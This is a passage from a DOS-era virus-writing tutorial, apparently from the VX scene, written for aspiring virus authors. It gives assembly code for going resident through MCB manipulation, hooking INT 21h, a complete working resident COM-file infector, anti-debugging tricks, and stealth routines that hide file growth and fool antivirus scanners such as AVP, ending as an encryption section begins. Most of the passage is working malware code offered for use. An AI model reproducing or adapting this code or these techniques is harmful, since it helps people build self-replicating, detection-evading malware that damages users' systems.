>             mov     byte ptr ds:[0],"Z"     ; We mark it as last block
>             mov     word ptr ds:[1],08h     ; We say DOS the block is of its own

>      Quite simple and effective... However, this will only manipulate the memory,
>      it doesn't move  your code to  memory. This is VERY  easy. But we'll  see it
>      later.

>      + Direct modify of MCB:

>      This method does exactly the same, but the way to reach our target is diffe-
>      rent. It has one thing  that makes it better that the above method: a TSR AV
>      watchdog  won't say anything of  memory manipulation cause  we don't use any
>      kinda interrupt :)

>      The first we do is to put DS in AX ( coz we can't make any kinda things with
>      segments ), we  decrement it by 1, and  then we put  it again  in DS. Now DS
>      points to the MCB. If you remember the MCB structure, in the offset 3 we had
>      the amount of  current memory in paragraphs. So we need to substract to this
>      value the amount of memory we're going to use. We'll use BX ( why not? ) ;)
>      If we take a look to the past, we can remember that MCB is 16 bytes above da
>      PSP. All  the PSP offsets are  shifted by 16 ( 10h ) bytes. We need to chan-
>      ge the value of TOM, located at offset 2 of PSP, but  we are not pointing to
>      PSP now, we're  pointing to MCB. What  can we do? Instead using offset 2, we
>      use offset 12h ( 2+16=18=12h ). We substract to it our memory needs in paras
>      ( remember, virus size+15 divided by 16 ). The new  value of this offset now
>      has the new segment of our program, and we need it in a segment. We're going
>      to use  the Extra Segment ( ES ). But  we can  make a  mov with  ES and this
>      location ( due da limitations of segment manipulations ). We must use a tem-
>      poral register. AX will be  good for our purposes. Now we mark ES:[0] with a
>      "Z" ( before we used DS as segment handler ), and ES:[1] with an 8.
>      After the always boring theory, some code will be good

>             mov     ax,ds                   ; DS = PSP
>             dec     ax                      ; We use AX as temporal register
>             mov     ds,ax                   ; DS = MCB

>             mov     bx,word ptr ds:[03h]    ; We put in BX the amount of memory
>             sub     bx,((virus_size+15)/16)+1 ; and then we put in BX for change
>             mov     word ptr ds:[03h],bx    ; We put it in its original place

>             mov     byte ptr ds:[0],"M"     ; Mark as not last block

>             sub     word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size
>                                             ; to TOM size
>             mov     ax,word ptr ds:[12h]    ; Now offset 12h handles the new seg.
>             mov     es,ax                   ; And we need AX for put it in ES

>             mov     byte ptr es:[0],"Z"     ; Mark as last block
>             mov     word ptr es:[1],0008h   ; Mark DOS as owner

>      % Move the virus to memory %
>      ----------------------------

>      This is da simplest thing in the resident virus coding. If you know for what
>      purposes we can use the MOVSB instruction ( and of course, MOVSW, MOVSD... )
>      you'll see how much easy is it. All we must do is setup from we want to move
>      and how many data. It's quite simple. Da beginning of data move is magically
>      always equal  to delta offset, do if  we have the delta offset in BP, all we
>      need it to move to SI the content of BP. And we  put the virus size in bytes
>      in CX ( or in words if we want to use MOVSW ). Note that DI must be 0. It'll
>      be enough with  a xor di,di ( an  optimized way to  make a mov di,0 ). Let's
>      see code...

>             push    cs                      ; Adjust segments
>             pop     ds                      ; CS = DS

>             xor     di,di                   ; DI = 0 ( Top Of Memory )
>             mov     si,bp                   ; SI = offset virus_start
>             mov     cx,virus_size           ; CX = virus_size
>             rep     movsb                   ; Move bytes from DS:SI to ES:DI

>      % Hooking interrupts %
>      ----------------------

>      After move our virus to memory, we need  to modify at least  one it for per-
>      form our  infection. It's ussually INT 21h in  about all resident  infectors
>      under the sun, but when we're in a boot virus ( or a multipartite virus that
>      infect also  floppies and MBRs ) we also  have to hook the INT 13h. The ints
>      we hook depend of our needs. There're  two ways of hooking interrupts: using
>      DOS or direct hooking. We must note some things to make our handler:

>      - First of all, we MUST  preserve all registers  we use  PUSHING them at the
>      beginning of the handler ( flags too ), and when we'll be going to return da
>      control to the original handler, POP'em all.

>      - The second thing we  must remember is that u can NEVER call an intercepted
>      function that is previously hooked by  our virus, we'll fall  in an infinite
>      loop. Let's imagine we've  hooked function 3Dh of INT 21h ( Open File ), and
>      we call it  from the hooked function  code ( or antoher of our new interrupt
>      handler )... Da computer will hang. Instead of this we must make a fake call
>      to the INT 21h like this one:

>      CallINT21h:
>             pushf
>             call    dword ptr cs:[oldint21]
>             iret

>      We  can do another  thing. We can  redirect another  interrupt, and  make it
>      point to  the old INT 21h. A  good choice seems  to be INT 03h: It's  a good
>      antidebugging trick, makes our  code more little ( INT 03h is coded CCh that
>      only takes one byte, and normal ints are  coded CDh XX, where XX is  the hex
>      value of out int ), and we forget all the problems of call intercepted func-
>      tions. When we're about  to pass the control to  original INT 21h, it's good
>      to restore all hooked interrupts that were redirected to INT 21h.

>      + Hooking interrupts using DOS:

>      We must  get the original vector  of an interrupt before put our own vector.
>      This can be done with the function 35h of the INT 21h.
>      Let's see the input parameters for this function:

>      AH = 35h
>      AL = Interrupt Number

>      When called, it returns us this values :

>      AX = Preserved
>      ES = Interrupt Handler Segment
>      BX = Interrupt Handler Offset

>      After  calling this function, we store ES:BX in  a variable in our  code for
>      later use, and  set a new  interrupt handler. The fuction we must use is the
>      25h of INT 21h. Here you have the parameters:

>      AH = 25h
>      AL = Interrupt Number
>      DS = New Handler Segment
>      DX = New Handler Offset

>      Let's see an example of interrupt hooking by using DOS:

>             push    cs                      ; Adjust segments
>             pop     ds                      ; CS = DS

>             mov     ax,3521h                ; Get interrupt vector function
>             int     21h

>             mov     word ptr [int21_off],bx ; Now store variables
>             mov     word ptr [int21_seg],es

>             mov     ah,25h                  ; Put new interrupt
>             lea     dx,offset int21handler  ; Offset to new handler
>             int     21h
>             [...]

>      oldint21       label dword
>      int21_off      dw 0000h
>      int21_seg      dw 0000h

>      + Direct hook of interrupts:

>      If we forget DOS, we win some things i said before ( in the direct MCB modi-
>      fying ). Do  you remember the  structure of the  interrupt table ? It begins
>      at 0000:0000, and it takes to 0000:0400h. Here we have all the interrupts we
>      can use, from the INT 00h till the INT FFh. Let's see some code:

>             xor     ax,ax                   ; Make zero AX
>             mov     ds,ax                   ; For make zero DS ( now AX=DS=0 )
>             push    ds                      ; We nned to restore DS later

>             lds     dx,ds:[21h*4]           ; All interrupts are in int number*4
>             mov     word ptr es:int21_off,dx ; Where save offset
>             mov     word ptr es:int21_seg,ds ;   "     "  segment

>             pop     ds                      ; Restore DS
>             mov     word ptr ds:[21h*4],offset int21handler ; The new handler
>             mov     word ptr ds:[21h*4+2],es

>      % Last words about residency %
>      ------------------------------

>      Well, there aren't my  last words really. I'll talk a lot of infections, and
>      all this stuff in the rest of this document, but i assume you know how to do
>      a resident virus after this. All the stuff from here to the last line of the
>      document  is thougth to be  implemented to a  TSR virii. Of course, if i say
>      that something is for runtime viruses, don't scream! :)

>      After terminate  this lesson, i must put an example of full-working resident
>      virus. We also used at this point Gý. It's a lame resident COM infector.

>     ;---[ CUT HERE ]-------------------------------------------------------------
>     ; This code isn't  commented as good as the RUNTIME  viruses. This is cause i
>     ; assumed all the stuff is quite clear at this point.
>     ; Virus generated by Gý 0.70á
>     ; Gý written by Dark Angel of Phalcon/Skism
>     ; Assemble with: TASM /m3 lame.asm
>     ; Link with:     TLINK /t lame.obj

>     checkres1       =       ':)'
>     checkres2       =       ';)'

>             .model  tiny
>             .code

>             org     0000h

>     start:
>             mov     bp, sp
>             int     0003h
>     next:
>             mov     bp, ss:[bp-6]
>             sub     bp, offset next         ; Get delta offset

>             push    ds
>             push    es

>             mov     ax, checkres1           ; Installation check
>             int     0021h
>             cmp     ax, checkres2           ; Already installed?
>             jz      done_install

>             mov     ax, ds
>             dec     ax
>             mov     ds, ax

>             sub     word ptr ds:[0003h], (endheap-start+15)/16+1
>             sub     word ptr ds:[0012h], (endheap-start+15)/16+1
>             mov     ax, ds:[0012h]
>             mov     ds, ax
>             inc     ax
>             mov     es, ax
>             mov     byte ptr ds:[0000h], 'Z'
>             mov     word ptr ds:[0001h], 0008h
>             mov     word ptr ds:[0003h], (endheap-start+15)/16

>             push    cs
>             pop     ds
>             xor     di, di
>             mov     cx, (heap-start)/2+1    ; Bytes to move
>             mov     si, bp                  ; lea  si,[bp+offset start]
>             rep     movsw

>             xor     ax, ax
>             mov     ds, ax
>             push    ds
>             lds     ax, ds:[21h*4]          ; Get old int handler
>             mov     word ptr es:oldint21, ax
>             mov     word ptr es:oldint21+2, ds
>             pop     ds
>             mov     word ptr ds:[21h*4], offset int21 ; Replace with new handler
>             mov     ds:[21h*4+2], es        ; in high memory

>     done_install:
>             pop     ds
>             pop     es
>     restore_COM:
>             mov     di, 0100h               ; Where to move data
>             push    di                      ; In what offset will the ret go
>             lea     si, [bp+offset old3]    ; What to move
>             movsb                           ; Move 3 bytes
>             movsw
>             ret                             ; Return to 100h

>     old3            db      0cdh,20h,0

>     int21:
>             push    ax
>             push    bx
>             push    cx
>             push    dx
>             push    si
>             push    di
>             push    ds
>             push    es

>             cmp     ax, 4B00h               ; execute?
>             jz      execute
>     return:
>             jmp     exitint21
>     execute:
>             mov     word ptr cs:filename, dx
>             mov     word ptr cs:filename+2, ds

>             mov     ax, 4300h               ; Get attributes for later restore
>             lds     dx, cs:filename
>             int     0021h
>             jc      return
>             push    cx
>             push    ds
>             push    dx

>             mov     ax, 4301h               ; clear file attributes
>             push    ax                      ; save for later use
>             xor     cx, cx
>             int     0021h

>             lds     dx, cs:filename         ; Open file for read/write
>             mov     ax, 3D02h
>             int     0021h
>             xchg    ax, bx

>             push    cs                      ; Adjust segments
>             pop     ds

>             push    cs
>             pop     es                      ; CS=ES=DS

>             mov     ax, 5700h               ; get file time/date
>             int     0021h
>             push    cx
>             push    dx

>             mov     cx, 001Ah               ; Read 1Ah bytes of file
>             mov     dx, offset readbuffer
>             mov     ah, 003Fh
>             int     0021h

>             mov     ax, 4202h               ; Move file pointer to the end
>             xor     dx, dx
>             xor     cx, cx
>             int     0021h

>             cmp     word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
>             jz      jmp_close
>             mov     cx, word ptr [offset readbuffer+1] ; jmp location
>             add     cx, heap-start+3        ; convert to filesize
>             cmp     ax, cx                  ; equal if already infected
>             jl      skipp
>     jmp_close:
>             jmp     close
>     skipp:

>             cmp     ax, 65535-(endheap-start) ; check if too large
>             ja      jmp_close               ; Exit if so

>             mov     di, offset old3         ; Restore 3 first bytes
>             mov     si, offset readbuffer
>             movsb
>             movsw

>             sub     ax, 0003h
>             mov     word ptr [offset readbuffer+1], ax
>             mov     dl, 00E9h
>             mov     byte ptr [offset readbuffer], dl
>             mov     dx, offset start
>             mov     cx, heap-start
>             mov     ah, 0040h               ; concatenate virus
>             int     0021h

>             xor     cx, cx
>             xor     dx, dx
>             mov     ax, 4200h               ; Move pointer to the beginning
>             int     0021h

>             mov     dx, offset readbuffer   ; Write first 3 bytes
>             mov     cx, 0003h
>             mov     ah, 0040h
>             int     0021h

>     close:
>             mov     ax, 5701h               ; restore file time/date
>             pop     dx
>             pop     cx
>             int     0021h

>             mov     ah, 003Eh               ; Close file
>             int     0021h

>             pop     ax                      ; restore file attributes
>             pop     dx                      ; get filename and
>             pop     ds
>             pop     cx                      ; attributes from stack
>             int     0021h

>     exitint21:
>             pop     es
>             pop     ds
>             pop     di
>             pop     si
>             pop     dx
>             pop     cx
>             pop     bx
>             pop     ax

>             db      00EAh                   ; return to original handler
>     oldint21        dd      ?

>     signature       db      '[PS/Gý]',0

>     heap:
>     filename        dd      ?
>     readbuffer      db      1ah dup (?)
>     endheap:
>             end     start
>     ;---[ CUT HERE ]-------------------------------------------------------------

>      Sorry. I'm a goddman lazy, i know. You  can think this  is a  lame attitude.
>      Maybe. But think i'm making this document at time i'm making some viriis and
>      making some stuff for DDT magazine, so i haven't enough time for make my own
>      decent viruses for this tute. Hey! No  one pays me for do this, you know? :)

>     ---| Armouring your code |---------------------------------------------------

>      This is a very discused theme in da scene. Many VXers protects their code in
>      order  to make AVers  life more difficult. Of  course we  are talking  about
>      antidebugging routines. There're a lot of techniques that all we know... but
>      it's good to see a couple of them here... don't you think?

>      This things have a lot of possible functions. They're a lot of configurable.
>      You can do custom-made routines for yer virus, too. I think put at least one
>      of  this routines in your  polymorphic engine ( in long-routines table, like
>      Wintermute's Zohra virus ) for  fool the AVs  which try to decrypt our code.
>      Here we go!

>      A very  useful thing is deactivate keyboard. When we deactivate keyboard the
>      debugger user can't trace  anymore ( F7 in TD ). If user runs the program at
>      full speed... no problem. Just  an int 3 ( breakpoint ) will do the rest. It
>      is a very simple thing that works preety good! Let's see some code:

>      bye_keyb:
>             in      al,21h                  ; Let's deactivate keyboard
>             or      al,02h                  ; Try to press any key...
>             out     21h,al

>      fuck_int3:
>             int     3h                      ; Breakpoint

>      exit_adbg:
>             in      al,21h                  ; Let's activate keyboard
>             and     al,not 2                ; keyb works now
>             out     21h,al                  ; cool :)

>      This is a good method. Think you can do... deactivate keyboard all time when
>      our virus is being  run will: keep the lamer-user get astonished, wont allow
>      him to press damned ^C, all  you want to do  can be made. Really  useful and
>      simple thing.

>      Another method is play with the stack. Many antidebuggers suck with this old
>      and simple thing. You can do whatever you want with this in order to fuck'em
>      Code? Here you have:

>      do_shit_stack:
>             neg     sp
>             neg     sp

>      Simple, huh? You can also do a NOT instead of NEG. Same result.

>      tons_of_shit:
>             not     sp
>             not     sp

>      What  a NEG does? It  increases register by one  and then apply a NOT on the
>      result. But it's a very old  trick... you can  add it but  better search for
>      others, this  is not definitive  with quality debuggers  like S-ICE. But  if
>      you are  doing a poly  engine you can add a simple soutine like this and AVP
>      will suck trying to decrypt your virus. Hehe... Kaspersky's babe sux! Erhm..
>      I forget  it... TBCLEAN says "Approached stack crash" :) Ok... continue this
>      shit. Another method you can use is overflow the stack:

>      overflower:
>             mov     ax,sp
>             mov     sp,00h
>             pop     bx
>             mov     sp,ax

>      Of course... there are more. Another of the classics is to hook int 1 and/or
>      int 3. You  have many ways to do this. Well, we offer you some of this shit.

>      change_int1_and_int3_using_dos:
>             mov     ax,2501h                ; AL = INT to hook
>             lea     dx,newint               ; Take care if we need
>             int     21h                     ; ë offset, by adding it... ok?
>             mov     al,03h
>             int     21h
>             [...]
>      newint:
>             jmp     $
>             iret                            ; Why if don't used? hehehe :)

>      This routine can  be notified by a TSR watchdog. We recommend you to use the
>      below method. Hookin' by direct manipulation:

>      int1:
>             xor     ax,ax                   ; Let's try to put an IRET in INT 1
>             mov     es,ax                   ; We need ES = 0. IVT is in 0000:0000
>             mov     si,word ptr es:[1h*4]   ; Get da offset
>             mov     [si],0FEEBh             ; a jmp $

>      int3:
>             xor     ax,ax
>             mov     es,ax
>             mov     si,word ptr es:[3h*4]
>             mov     [si],0FEEBh

>      If you don't want to hang the computer just replace the 0FEEBh to 0CF90h ( a
>      nop and a iret [ reverse order, of course ] ).

>      A very cool idea you can have is to make int 3 point to int 21, and then you
>      can  use this int instead the int 21. This will be good for two things: fuck
>      debuggers and  optimize your code... why  it optimize your  code? the int 21
>      opcode is CD 21 ( takes two bytes ), and the int 3 is only CC...

>      Remember that the int 3 is a breakpoint for debuggers, so everytime you call
>      int 3 the debugger will stop :) Here you have the code:

>      getint21:
>             mov     ax,3521h                ; Get interrupt vectors
>             int     21h
>             mov     word ptr [int21_ofs],bx
>             mov     word ptr [int21_seg],es

>             mov     ax,2503h
>             lea     dx,jumptoint21
>             int     21h
>             [...]

>      jumptoint21    db      0EAh
>      int21          equ     this dword
>      int21_ofs      dw      0000h
>      int21_seg      dw      0000h

>      We  can also make comparisons with the stack in order of know if we're being
>      debugged. Here you have some examples:

>      stack_compares:
>             push    ax
>             pop     ax
>             dec     sp
>             dec     sp
>             pop     bx
>             cmp     ax,bx
>             jz      exit_adbg               ; not debugged
>             jmp     $                       ; hang computers is cool ;)
>      exit_adbg:

>      Remember, if needed, disabling interrupts ( cli ) and enabling later ( sti )
>      Yes, there  are more methods  for armour our code. They're  so old, but hey!
>      they work! Take a  look to the  next one... play  with the  prefetch is very
>      known. I like a lot this method.

>      [** NOTE : As a guy in i-net remembered me, this WON'T WORK in Pentiums **]

>      Take a look to this code:

>      prefetch:
>             mov     word ptr cs:fake,0FEEBh ; Why do you think this made
>      fake:  jmp     nekst                   ; if debugged? Yes, hang PC!
>      nekst:                                 ; Continue with your code here

>      You can also do much more things with da prefetch. You can jump to a routine
>      or put a hlt ( hangs too )... whatever you want, like this:

>      prefetch_fun:
>             mov     word ptr cs:fake2,04CB4h
>      fake2: jmp     bye_fake
>             int     21h
>      bye_fake:

>      This  code will terminate  the execution  of yer program. Quite kewl. Now, a
>      specific routine for SoftIce ( the best debugger also fooled ).

>      At least this is a lot of ppl say. More code here:

>      soft_ice_fun:
>             mov     ax,0911h                ; Soft-ice function for exec. command
>             mov     di,4647h                ; DI = "FG"
>             mov     si,4A4Eh                ; SI = "JM"
>             lea     dx,soft_ice_fuck        ; Yeah
>             int     03h                     ; Int for breakpoints

>      soft_ice_fuck  db      "bc *",10,0

>      Another trick is to hook int 8 and put there  a compare to a variable in our
>      resident code, because  a lot of debuggers  deactivate all interrupts except
>      the int 8. The int 8 is  executed 18.2 times in  an only second. I recommend
>      you to save the old  handler before hook it. Do you want code? here you have

>      save_old_int8_handler:                 ; You remember 40-hex magazine?
>             mov     ax,3508h                ; This routine is from issue #7
>             int     21h
>             mov     word ptr [int8_ofs],bx
>             mov     word ptr [int8_seg],es
>             push    bx es
>             mov     ah,25h                  ; Put int 8 handler
>             lea     dx,virii
>             int     21h
>      fuckin_loop:
>             cmp     fuckvar,1               ; This will cause a little delay
>             jnz     fuckin_loop
>             pop     ds ds

>             int     21h
>             mov     ax,4C00h
>             int     21h

>      fuckvar        db      0
>      int8           equ     this dword
>      int8_ofs       dw      0000h
>      int8_seg       dw      0000h
>      program:
>                     ; bla bla bla
>             mov     fuckvar,1
>                     ; more and more bla
>             jmp     dword ptr [int8]

>      There is another trick  i love.  SoftIce  hangs while   loading, or it shows
>      an INVALID label, TD, TD32, debug and such like are stoned, so here it goes:
>      Just make something important with int 1, such as redirect it to int 21, for
>      example, and when you need to call int 1, just don't put the normal instruc-
>      tion:

>             int     01h

>      No. Just put  the F1 byte.  Is an undocumented opcode that occupies only one
>      byte, so it can optimize your  code, is higly anti-debugging, so... for what
>      are ya waiting? :)

>      Remember Demogorgon lesson : " Unprotected code is public domain "

>      Hey! Be careful if you need the delta offset ( i.e. runtime  viruses ),
>      and add it... ok?

>     ---| Stealth |---------------------------------------------------------------

>      What is stealth ? Stealth in VX world  is the name we give to all this stuff
>      that allow us the possibility of hide the infection symptoms, like file size
>      grow, " Abort, Retry, Ignore " error when we execute a program in a protect-
>      ed to disk write  floppy, read the disinfected  version of  a file, the file
>      date seems to bee good...In another words, make the user believe fake things
>      Stealth  is  also  the  name  of a  VX group ( SGWW ), but  this  is another
>      history :)

>      % INT 24h stealth %
>      -------------------

>      Yes, this is stealth. You can  think this stuff is quite old and else, but i
>      believe this  is the first  attempt to  make stealth implemented in viruses.
>      The target is avoid da message " Abort, Retry, Ignore " when we're executing
>      a program in a write-protected floppy, cause the virus want to write, and it
>      does, but DOS notify this error. If the  user sees this message will suspect
>      there's something wrong...

>      This is very easy. All we  need is to  replace the  original INT 24h vectors
>      ( the int that handles critical errors ) to a fake interrupt  where the only
>      code is a " mov al,3 " followed by an " iret ".
>      Let's see:

>             mov     ax,3524h
>             int     21h
>             mov     word ptr [int24_off],bx
>             mov     word ptr [int24_seg],es

>             mov     ax,2524h
>             lea     dx,int24handler
>             int     21h
>             [...]

>      int24handler:
>             mov     al,3
>             iret

>      % Directory stealth %
>      ---------------------

>      There are two kinds of directory stealth: by FCBs and by handles.

>      + FCB stealth:

>      Do you remember the FCB structure? You can take a look to STRUCTURES chapter
>      if you've alzheimer :)

>      Well, let's see... Our  target here  is to  susbract the  virus size  to the
>      actual infected virus size. You must add something like this to your int 21h
>      handler:

>             [...]
>             cmp     ah,11h                  ; FindFirst ( FCB )
>             je      FCBstealth
>             cmp     ah,12h                  ; FindNext ( FCB )
>             je      FCBstealth
>             [...]

>      Then  we create a procedure called FCBstealth ( or the name you like more ),
>      and put in it a fake interrupt call. Then we check if result is 0. If it is,
>      we jump directly to the interrupt return. Else, we continue. Now we push the
>      register what we use ( AX, BX, ES ), and  we call  to the  INT 21h  function
>      AH=2Fh, that  return us the address  of the DTA in ES:BX. It's time to check
>      if the FCB is normal or extended. We can know it by comparing the first byte
>      of FCB ( in ES:[BX] ) with FFh. If it's  equal, the FCB is  extended, so  we
>      fix it  by adding 7 bytes to BX. If it's normal we preserve it. Now we check
>      if  the file was  previously infected. For  make our  stuff easiest, i  will
>      assume that  the infection  mark is  to set up seconds to 60 ( an impossible
>      value ). If it isn't infected, we skip that file. Now it's time to substract
>      the virus size, and... here we have! FCB stealth! Let's see code:

>     FCB_Stealth:
>             pushf
>             call    dword ptr cs:[oldint21] ; Fake call to INT 21h
>             or      al,al                   ; Optimized cmp al,0
>             jnz     error

>             push    ax bx es

>             mov     ah,2Fh                  ; Get DTA address in ES:BX
>             int     21h

>             cmp     byte ptr es:[bx],0FFh   ; Is FCB extended ?
>             jne     normal
>             add     bx,07h                  ; No, fix it
>     normal:
>             mov     ax,es:[bx+17h]          ; Get seconds
>             and     ax,1Fh                  ; Unmask seconds
>             xor     al,1Eh                  ; Are seconds = 60 ? ( 30*2 )

>             jne     not_infected            ; No, skip it

>             sub     word ptr es:[bx+1Dh],virus_size ; Substract virus size
>             sbb     word ptr es:[bx+1Fh],0  ; With borrow, too

>     not_infected:
>             pop     es bx ax

>     error:
>             retf    02

>      + Handle stealth:

>      The handle is another  way to do the same than FCB stealth. Our objective is
>      the same, hide  the size ( and seconds if required )... but the  function we
>      must intercept and the things we must change are a little bit different ( if
>      not we used the same code than above ) ;)

>      Well, the code placed in your INT 21h handler is something like this:

>             [...]
>             cmp     ah,4Eh                  ; FindFirst ( Handle )
>             je      HandleStealth
>             cmp     ah,4Fh                  ; FindNext ( Handle )
>             je      HandleStealth
>             [...]

>      And  now, I'll  explain  how  is  a  typical  routine  for  Handle  stealth.
>      Firstly, we make a fake call to da old INT 21h ( after pushing flags, of co-
>      urse ). After this, we save the registers we're going to use ( AX, BX, ES ),
>      and get the DTA in ES:BX ( AH=2Fh ). We  check for previous infection ( secs
>      in ES:[BX+17h] ), and if it's already infected, we substract  the virus size
>      to the file size. It's very similar to the above stealth method, but, as you
>      can see, there're some things that make it different :)

>      A theory lesson is a shit without some code :)

>      HandleStealth:
>             pushf
>             call    dword ptr cs:[oldint21] ; Fake call to DOS API
>             jc      goback                  ; CF=1 if error

>             push    ax bx es                ; Save registers we use

>             mov     ah,2Fh                  ; DTA @ ES:BX
>             int     21h

>             mov     ax,es:[bx+16h]          ; Get the file time
>             and     ax,1Fh                  ; Unmask Seconds
>             xor     al,1Eh                  ; 60 ? ( Compare in optimized way )
>             jne     damnedpops              ; Fuck!

>             sub     word ptr es:[bx+1Ah],virus_size ; Guess...
>             sbb     word ptr es:[bx+1Ch],0

>      damnedpops:
>             pop     es bx ax                ; Get the old values

>      goback:
>             retf    02

>      % Problems in directory stealth %
>      ---------------------------------

>      There're some problems that need to be fixed, in order to avoid user's panic
>      We need to check if some programs are being run:

>      - Compressors, such  PKZIP, RAR, ARJ, LHA, AIN, etc. because if we give them
>      an incorrect size, they'll fuck in order to compress files :(

>      - Utilities like CHKDSK, that will  be fucking around  showing a neverending
>      errors list, cause  of the  size in sectors isn't  equal to the size we show
>      to the user eyes :(

>      - AVs, like F-PROT, AVP and  other SCUM, to  prevent their  messages about a
>      probable infection by a stealth virus.

>      So, it's a good idea to waste some code space making comparisons in order to
>      see if  one of  this program is being run, and then deactivate stealth ( and
>      activate later, when we're outside danger )

>      % INT vectors stealth %
>      -----------------------

>      This  kinda stealth is  very easy. When we use this method, we are trying to
>      give the original vectors ( this ones  that we caught before install our own
>      interrupt handler ) to the  programs that  request for it. This  is good for
>      some things: our  interrupt handler will be always the first. Let's see what
>      we have to add to our INT 21h vectors if we've hooked the said INT.

>             [...]
>             cmp     ax,3521h                ; Get INT 21h vectors
>             je      RequestINT21h
>             cmp     ah,2521h                ; Put INT 21h vectors
>             je      PutNewINT21h
>             [...]

>      And our routines look like this:

>      RequestINT21h:
>             mov     bx,word ptr cs:[int21_off] ; Return in BX the old int offset
>             mov     es,word ptr cs:[int21_seg] ; Return in ES the old int segment
>             iret

>      PutNewINT21h:
>             mov     word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
>             mov     word ptr cs:[int21_off],dx ;  "   "   "  offset  "  int21_off
>             iret

>      % Time stealth %
>      ----------------

>      Here i can't put code because this thing is very personal, it must be custom
>      made to your needs when coding your virus. You can use many ways for mark da
>      infected files... Put seconds to 60, 62... ( impossible ), increase years by
>      100, make equal  seconds and day... The way for obtain time and date is with
>      the function AX=5700h, and for put new values the AX=5701h. In CX goes time,
>      and in DX, date ( the ones we must intercept for make the stealth )

>      % SFT stealth %
>      ---------------

>      If you remember the preety structure called SFT, at offset 11 we had a dword
>      that shows the file size. All we need is to see if the file was already inf-
>      ected, and if  it was, substract  to the file size the virus size. Let's see
>      a little piece of code ( assuming the infection  mark is seconds = 60 and we
>      have called to a routine that gave us the SFT in ES:DI ):

>      Infect:
>             [...]
>             mov     ax,word ptr es:[di+0Dh] ; Get time
>             and     al,01Fh                 ; Unmask seconds
>             cmp     al,01Eh                 ; Seconds = 60 ?
>             jnz     AintInfected            ; No, infect it

>             sub     word ptr es:[di+11h],virus_size ; Yes, substract virus size
>             sbb     word ptr es:[di+13h],0000h
>             [...]
>      AintInfected:
>             [...]

>      There is  a good  thing you can do for avoid the AVP 3.0 scanning. First, we
>      must know if AVP is here. When AVP 3.0  opens a  file, there're  some values
>      that let  us know it is fucking around ( BX=5, SI=402Dh ). It's  time to get
>      SFT, and then  make all file  zero-size for  Kaspersky's son, with  two only
>      code lines:

>             mov     word ptr es:[di+11h],0000h
>             mov     word ptr es:[di+13h],0000h

>      or only one if we can :)

>             mov     dword ptr es:[di+11],00000000h

>      % Disinfection on the fly %
>      ---------------------------

>      Here  again, i can't  give you some  code. It must be custom made... Well, i
>      can give you the INT 21h lines, but nothing else:

>             [...]
>             cmp     ah,03Dh                 ; Open file
>             jz      Disinfect
>             cmp     ax,6C00h                ; Extended open
>             jz      Disinfect
>             cmp     ah,03Eh                 ; Close file ( infect now!!! )
>             jz      Infect
>             [...]

>      Now we must note one thing... we must fix some things for make da same rout-
>      ine for AH=3Dh and AX=6C00h.

>      1. The file name is in DS:DX in AH=3Dh, and in DS:SI in AX=6C00h
>      2. The open mode is in AL in AH=3Dh, and in BL in AX=6C00h

>      So  we need to make a routine for fix the access with the 6C00h function. It
>      probably will look like this:

>      Disinfect:
>             cmp     ax,6C00h
>             jne     Check
>             cmp     dx,1
>             jne     ExitDisinfection
>             mov     al,bl                   ; Open mode in AL
>             mov     dx,si                   ; File name is now in DS:DX
>      Check:
>             mov     ax,5700h
>             int     21h                     ; If we've hooked this function,
>                                             ; we need to make a fake call! ( or
>                                             ; use SFTs! )
>             and     cl,1Fh                  ; Unmask seconds
>             or      cl,1Eh                  ; Is it 60?
>             jnz     NotInfected
>             [...]

>      The disinfection  way is a routine that you must to do. It can't be as gene-
>      ral as FCB stealth, because you  can choose between a lot of things. Ok, i'm
>      gonna explain at least how it works.

>      + Disinfection of COM files:

>      The disinfection  of COM files  is very easy. We  need to restore  the first
>      bytes we've changed on  infection by the original ones ( ussually 3 bytes ),
>      restore the original time/date of the file, and remove the virus body ( trun
>      cating the file at offset "end of file - virus size" ).

>      + Disinfection of EXE files:

>      This is a little bit more hard to do, but not to understand :)
>      We need to restore the  original header of  the file, restore  the time/date
>      and remove the virus body at the end of the file. But the problem comes when
>      our virus is encrypted. You have to choose between leave this bytes unencry-
>      pted ( giving to the  AVs the way  to disinfect  our  virus  ) or decrypt
>      this bytes. Anyway, it's very simple.

>      % Win9X stealth compatibility %
>      -------------------------------

>      Well, we must  take care  that in Win9X enviroments (Win95, Win98) the usual
>      FCB or Handle stealth doesn't work properly. Simply check for function 714Eh
>      (FindFirst for Long File Names) and 714Fh (FindNext for LFN).

>      % Last words about stealth %
>      ----------------------------

>      There're more stealth methods, like 4202 stealth, sector stealth... but i've
>      explained da most simple and used ones. And, BTW, we don't need 4202 stealth
>      if we use SFT stealth :)

>      Probably the worst thing  in some kinds of  stealth is the uncompatibilities
>      with some software, that can fuck our need to be hidden.

>      After  reading this,  you would wonder why "Is stealth useful ?". The answer
>      is  a great YES. This is one of the  best methods  for conceal  the possible
>      infection  to the user: the files seem to have the same size than before the
>      infection, when an AV  is executed and  we have a disinfection routine, this
>      AV won't detect anything ( the same for those niggas  that waste  their time
>      using an  HEX editor in  order to see  if something's  wrong ), and a lot of
>      more things. The best  you can  do is deactivate stealth when a program like
>      CHKDSK, or PKZIP. All this in yer hands...

>     ---| Encryption |------------------------------------------------------------

>      Encryption techniques  are really old, but they're still effective, and very
>      used. Problably is one of da things that survived many years in concept, but
>      with continuous improvements like polymorphism, metamorphism, and such like.
>      Our target is to hide all our  text strings, suspicious opcodes, and all our
>      stuff of the user eyes. We can do it  with a simple math  operation, applied
>      to all bytes of  our virus body. For example, we can increase by one all the
>      bytes of  our virus, and  we can see that there isn't a readable text string
>      or something in our virus :)

>      The structure of an encrypted virus is like this:

>              .-----------------------------------.      It's very simple. There's
>            .-|        Call to decryptor          |      a call to  the decryptor,
>            | |-----------------------------------|<---. when  the decryptor  ends
>            | |                                   |    | its  job, it  gives   the
>            | |                                   |    | control to the virus, and
>            | |          Infected file            |    | when  the  virus ends its
>            | |                                   |    | execution, the control is
>            | |                                   |    | returned to  the original
>            | |-----------------------------------|<-. | program.
>            | |                                   |  | |
>            | |           Virus body              |  | |
>            | |                                   |  | |
>            '>|-----------------------------------|----'
>              |            Decryptor              |  |
>              '-----------------------------------'--'

>      There  is a math operation  that gives us one advantage. We can use the same
>      procedure  to encrypt  and decrypt our  code. Of course  we're talking about
>      XOR, the most used  instruction for decryptors. There're two more instructi-
>      ons that can be used for  our purposes of  using the same  procedure for en-
